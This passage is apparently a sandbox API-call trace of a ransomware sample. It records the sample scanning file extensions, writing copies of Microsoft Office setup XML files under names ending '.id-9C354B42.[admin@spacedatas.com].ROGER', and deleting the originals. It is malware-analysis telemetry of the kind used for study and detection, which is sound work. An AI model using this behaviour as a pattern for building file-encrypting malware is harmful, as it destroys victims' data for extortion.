lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString=".zip") returned 4 [0042.815] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.815] lstrlenW (lpString=".rar") returned 4 [0042.815] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString=".bz2") returned 4 [0042.815] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString=".7z") returned 3 [0042.815] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString=".dbf") returned 4 [0042.815] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString=".1cd") returned 4 [0042.815] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.816] lstrlenW (lpString=".jpg") returned 4 [0042.816] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.816] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.816] lstrlenW (lpString="SETUP.XML") returned 9 [0042.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.817] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1452) returned 1 [0042.817] CloseHandle (hObject=0x36c) returned 1 [0042.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0042.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0042.817] GetLastError () returned 0x0 [0042.817] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0042.819] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0042.819] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.820] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.820] SetEndOfFile (hFile=0x3b0) returned 1 [0042.820] CloseHandle (hObject=0x3b0) returned 1 [0042.820] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.820] SetEndOfFile (hFile=0x36c) returned 1 [0042.821] CloseHandle (hObject=0x36c) returned 1 [0042.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.822] lstrlenW (lpString=".doc") returned 4 [0042.822] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString=".docx") returned 5 [0042.822] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.822] lstrlenW (lpString=".pdf") returned 4 [0042.822] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString=".xls") returned 4 [0042.822] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString=".xlsx") returned 5 [0042.822] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.822] lstrlenW (lpString=".ppt") returned 4 [0042.822] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.822] lstrlenW (lpString=".zip") returned 4 [0042.822] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.822] lstrlenW (lpString=".rar") returned 4 [0042.822] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString=".bz2") returned 4 [0042.822] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString=".7z") returned 3 [0042.822] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.822] lstrlenW (lpString=".dbf") returned 4 [0042.822] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.822] lstrlenW (lpString=".1cd") returned 4 [0042.823] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString=".jpg") returned 4 [0042.823] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString=".doc") returned 4 [0042.823] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString=".docx") returned 5 [0042.823] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.823] lstrlenW (lpString=".pdf") returned 4 [0042.823] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString=".xls") returned 4 [0042.823] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString=".xlsx") returned 5 [0042.823] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.823] lstrlenW (lpString=".ppt") returned 4 [0042.823] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString=".zip") returned 4 [0042.823] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.823] lstrlenW (lpString=".rar") returned 4 [0042.823] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString=".bz2") returned 4 [0042.823] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString=".7z") returned 3 [0042.823] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString=".dbf") returned 4 [0042.823] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.823] lstrlenW (lpString=".1cd") returned 4 [0042.824] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0042.824] lstrlenW (lpString=".jpg") returned 4 [0042.824] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.824] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.824] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0042.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.824] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1231) returned 1 [0042.824] CloseHandle (hObject=0x36c) returned 1 [0042.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0042.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.824] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.825] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0042.826] GetLastError () returned 0x0 [0042.826] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4cf, lpOverlapped=0x0) returned 1 [0042.828] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0042.828] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.828] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0042.829] SetEndOfFile (hFile=0x3b0) returned 1 [0042.829] CloseHandle (hObject=0x3b0) returned 1 [0042.829] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.829] SetEndOfFile (hFile=0x36c) returned 1 [0042.830] CloseHandle (hObject=0x36c) returned 1 [0042.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString=".doc") returned 4 [0042.831] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString=".docx") returned 5 [0042.831] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.831] lstrlenW (lpString=".pdf") returned 4 [0042.831] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString=".xls") returned 4 [0042.831] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString=".xlsx") returned 5 [0042.831] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.831] lstrlenW (lpString=".ppt") returned 4 [0042.831] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString=".zip") returned 4 [0042.831] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.831] lstrlenW (lpString=".rar") returned 4 [0042.831] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString=".bz2") returned 4 [0042.831] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString=".7z") returned 3 [0042.831] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString=".dbf") returned 4 [0042.831] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString=".1cd") returned 4 [0042.831] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.831] lstrlenW (lpString=".jpg") returned 4 [0042.831] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString=".doc") returned 4 [0042.832] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString=".docx") returned 5 [0042.832] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.832] lstrlenW (lpString=".pdf") returned 4 [0042.832] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString=".xls") returned 4 [0042.832] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString=".xlsx") returned 5 [0042.832] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.832] lstrlenW (lpString=".ppt") returned 4 [0042.832] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString=".zip") returned 4 [0042.832] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.832] lstrlenW (lpString=".rar") returned 4 [0042.832] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString=".bz2") returned 4 [0042.832] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString=".7z") returned 3 [0042.832] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString=".dbf") returned 4 [0042.832] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString=".1cd") returned 4 [0042.832] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0042.832] lstrlenW (lpString=".jpg") returned 4 [0042.832] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.833] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.833] lstrlenW (lpString="SETUP.XML") returned 9 [0042.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.833] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1852) returned 1 [0042.833] CloseHandle (hObject=0x36c) returned 1 [0042.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0042.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.833] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.833] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0042.834] GetLastError () returned 0x0 [0042.834] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x73c, lpOverlapped=0x0) returned 1 [0042.990] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x740, lpOverlapped=0x0) returned 1 [0042.991] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.991] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.991] SetEndOfFile (hFile=0x3b0) returned 1 [0042.991] CloseHandle (hObject=0x3b0) returned 1 [0042.992] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.992] SetEndOfFile (hFile=0x36c) returned 1 [0042.993] CloseHandle (hObject=0x36c) returned 1 [0042.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0042.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.993] lstrlenW (lpString=".doc") returned 4 [0042.993] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString=".docx") returned 5 [0042.994] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.994] lstrlenW (lpString=".pdf") returned 4 [0042.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString=".xls") returned 4 [0042.994] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString=".xlsx") returned 5 [0042.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.994] lstrlenW (lpString=".ppt") returned 4 [0042.994] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString=".zip") returned 4 [0042.994] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.994] lstrlenW (lpString=".rar") returned 4 [0042.994] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString=".bz2") returned 4 [0042.994] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString=".7z") returned 3 [0042.994] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString=".dbf") returned 4 [0042.994] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office 